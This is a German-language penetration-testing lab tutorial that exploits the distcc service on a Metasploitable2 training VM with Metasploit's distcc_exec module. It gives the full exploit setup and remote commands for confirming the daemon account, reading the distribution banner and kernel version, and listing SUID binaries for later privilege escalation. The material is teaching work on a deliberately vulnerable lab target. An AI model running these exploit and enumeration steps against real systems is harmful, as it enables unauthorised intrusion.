Einführung
In diesem Lab verwenden Sie Metasploit, um den distcc-Dienst auf einem verwundbaren Linux-Zielsystem auszunutzen, den Kontext der erhaltenen Remote-Ausführung zu bestätigen und grundlegende Systeminformationen von diesem Ziel zu sammeln. Der Arbeitsablauf verwendet jeweils einen einzelnen Remote-Befehl über die Eingabeaufforderung des Metasploit-Moduls, anstatt eine interaktive Shell-Sitzung zu öffnen.
Das distcc-Modul auf diesem Zielsystem ist zuverlässig für die Remote-Befehlsausführung über cmd/unix/generic, öffnet jedoch in dieser Umgebung keine persistente Shell. Das Hauptlernziel besteht darin, dieses Verhalten zu erkennen, zu überprüfen, welches Remote-Konto jeden Befehl ausgeführt hat, und die Enumeration des Ziels mit gezielten Folge-Befehlen fortzusetzen.
Vorbereiten der Umgebung
In diesem Schritt starten wir die notwendigen Komponenten der Lab-Umgebung, einschließlich des Kali Linux-Containers und der Metasploitable2-virtuellen Maschine.
- Starten Sie die virtuelle Maschine Metasploitable2, indem Sie den folgenden Befehl im Terminal ausführen:
sudo virsh start Metasploitable2
Warten Sie, bis das Zielsystem gestartet ist; dies kann 1-3 Minuten dauern.
- Testen Sie, ob die virtuelle Maschine gestartet wurde, indem Sie die IP-Adresse des Ziels anpingen:
ping 192.168.122.102
Drücken Sie Ctrl+C, um den Ping-Vorgang zu beenden.
- Starten Sie den Kali Linux-Container und öffnen Sie dessen Bash-Shell:
docker run -ti --network host b5b709a49cd5 bash
- Testen Sie innerhalb des Kali-Containers die Netzwerkverbindung, indem Sie den Hostnamen
targetanpingen:
ping 192.168.122.102
Drücken Sie Ctrl+C, um den Ping-Vorgang zu beenden.
Erstzugriff auf das Zielsystem erlangen
In diesem Schritt verwenden wir das Metasploit Framework (MSF) im Kali-Container, um einen Erstzugriff auf das Metasploitable2-Zielsystem zu erlangen.
- Starten Sie innerhalb des Kali-Containers die Metasploit-Konsole:
cd ~
msfconsole
- Verwenden Sie innerhalb der Metasploit-Konsole das Exploit-Modul
distcc_exec:
use exploit/unix/misc/distcc_exec
- Setzen Sie den Payload auf die generische Remote-Befehlsausführung. In dieser Umgebung öffnet das Modul keine stabile interaktive Shell, daher sollten Sie jeweils einen Remote-Befehl einzeln ausführen:
set payload cmd/unix/generic
- Legen Sie die IP-Adresse des Ziel-Hosts fest:
set RHOST 192.168.122.102
- Legen Sie den ersten Remote-Befehl fest, den Sie auf dem Zielsystem ausführen möchten:
set CMD whoami
- Starten Sie den Exploit, um diesen Befehl auf dem Zielsystem auszuführen:
run
Nach einer erfolgreichen Ausführung sollten Sie eine Ausgabe ähnlich wie 192.168.122.102:3632 - stdout: daemon sehen. Dieses Ergebnis bedeutet, dass der Befehl auf dem Remote-Metasploitable2-Host als Benutzer daemon ausgeführt wurde.
Bleiben Sie für die nächsten Schritte an der Eingabeaufforderung msf6 exploit(unix/misc/distcc_exec) >. Aktualisieren Sie für jeden neuen Remote-Befehl CMD und führen Sie das Modul erneut aus.
Überprüfen der aktuellen Benutzerrechte
Nachdem wir die Remote-Befehlsausführung erlangt haben, müssen wir prüfen, welches Konto das Ziel für den Befehl verwendet hat und ob es bereits über erhöhte Rechte verfügt.
Falls Sie die Eingabeaufforderung des
distcc_exec-Moduls verlassen haben, wiederholen Sie die Metasploit-Einrichtung aus Schritt 2, sodass Sie sich wieder beimsf6 exploit(unix/misc/distcc_exec) >befinden.Setzen Sie den Remote-Befehl, um den aktuellen Benutzer zu überprüfen:
set CMD whoami
- Führen Sie das Modul aus, um diesen Befehl auf dem Zielsystem auszuführen:
run
- Setzen Sie den nächsten Remote-Befehl, um die Benutzer-ID und Gruppeninformationen anzuzeigen:
set CMD id
- Führen Sie das Modul erneut aus:
run
Wenn die Ausgabe stdout: daemon und uid=1(daemon) gid=1(daemon) anzeigt, führt der Exploit Befehle remote als daemon-Konto aus und nicht als root. Sie würden eine zusätzliche Technik zur Privilegieneskalation benötigen, um weiterzukommen, aber in diesem Lab konzentrieren wir uns darauf, den Zugriff zu validieren und Aufklärungsdaten zu sammeln.
Bleiben Sie für den nächsten Schritt an derselben Metasploit-Modul-Eingabeaufforderung.
Systeminformationen enumerieren
Nachdem Sie Ihre Zugriffsebene bestätigt haben, sammeln Sie einige Details vom Zielsystem, damit Sie identifizieren können, welche Art von Host Sie kompromittiert haben.
Falls Sie die Eingabeaufforderung des
distcc_exec-Moduls verlassen haben, wiederholen Sie die Metasploit-Einrichtung aus Schritt 2, sodass Sie sich wieder beimsf6 exploit(unix/misc/distcc_exec) >befinden.Setzen Sie den Remote-Befehl, um das Banner der Linux-Distribution zu überprüfen:
set CMD "cat /etc/issue"
- Führen Sie das Modul aus:
run
Hier ist ein Beispiel für die Ausgabe, die Sie vom Zielsystem sehen könnten:
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \\
| '_ ` _ \\ / _ \\ __/ _` / __| '_ \\| |/ _ \\| | __/ _` | '_ \\| |/ _ \\ __) |
| | | | | | __/ || (_| \\__ \\ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\\___|\\__\\__,_|___/ .__/|_|\\___/|_|\\__\\__,_|_.__/|_|\\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Login with msfadmin/msfadmin to get started
- Setzen Sie den nächsten Remote-Befehl, um die Kernel-Version zu überprüfen:
set CMD "uname -a"
- Führen Sie das Modul erneut aus:
run
Hier ist ein Beispiel für die Ausgabe, die Sie vom Zielsystem sehen könnten:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
- Setzen Sie den Remote-Befehl, um SUID-Dateien zu finden, die möglicherweise für eine spätere Post-Exploitation-Analyse nützlich sein könnten:
set CMD "find / -perm -u=s -type f 2>/dev/null"
- Führen Sie das Modul ein weiteres Mal aus:
run
Überprüfen Sie die Liste, um zu verstehen, welche privilegierten Binärdateien auf dem Ziel vorhanden sind. Die genauen Einträge können variieren, aber Sie sollten Pfade wie /usr/bin/sudo und /usr/bin/nmap auf dem kompromittierten Host sehen.
Nachdem Sie die Ausgabe überprüft haben, können Sie Metasploit mit exit beenden.
Zusammenfassung
In diesem Lab haben Sie die LabEx-Umgebung gestartet, das Metasploit Framework verwendet, um den verwundbaren distcc-Dienst auszunutzen, und Remote-Befehle gegen das Metasploitable2-Ziel über cmd/unix/generic ausgeführt. Anschließend haben Sie den Kontext der Remote-Ausführung mit whoami und id verifiziert, um zu bestätigen, welches Konto der Exploit verwendet hat, bevor Sie weitere Befehle ausführten.
Sie haben außerdem grundlegende Systeminformationen vom kompromittierten Host gesammelt, indem Sie dessen Distributions-Banner, Kernel-Version und verfügbare SUID-Binärdateien überprüft haben. Diese Post-Exploitation-Prüfungen sind nützlich, um den erlangten Zugriff zu bestätigen und eine weitere Enumeration auf einem Linux-Ziel zu planen.



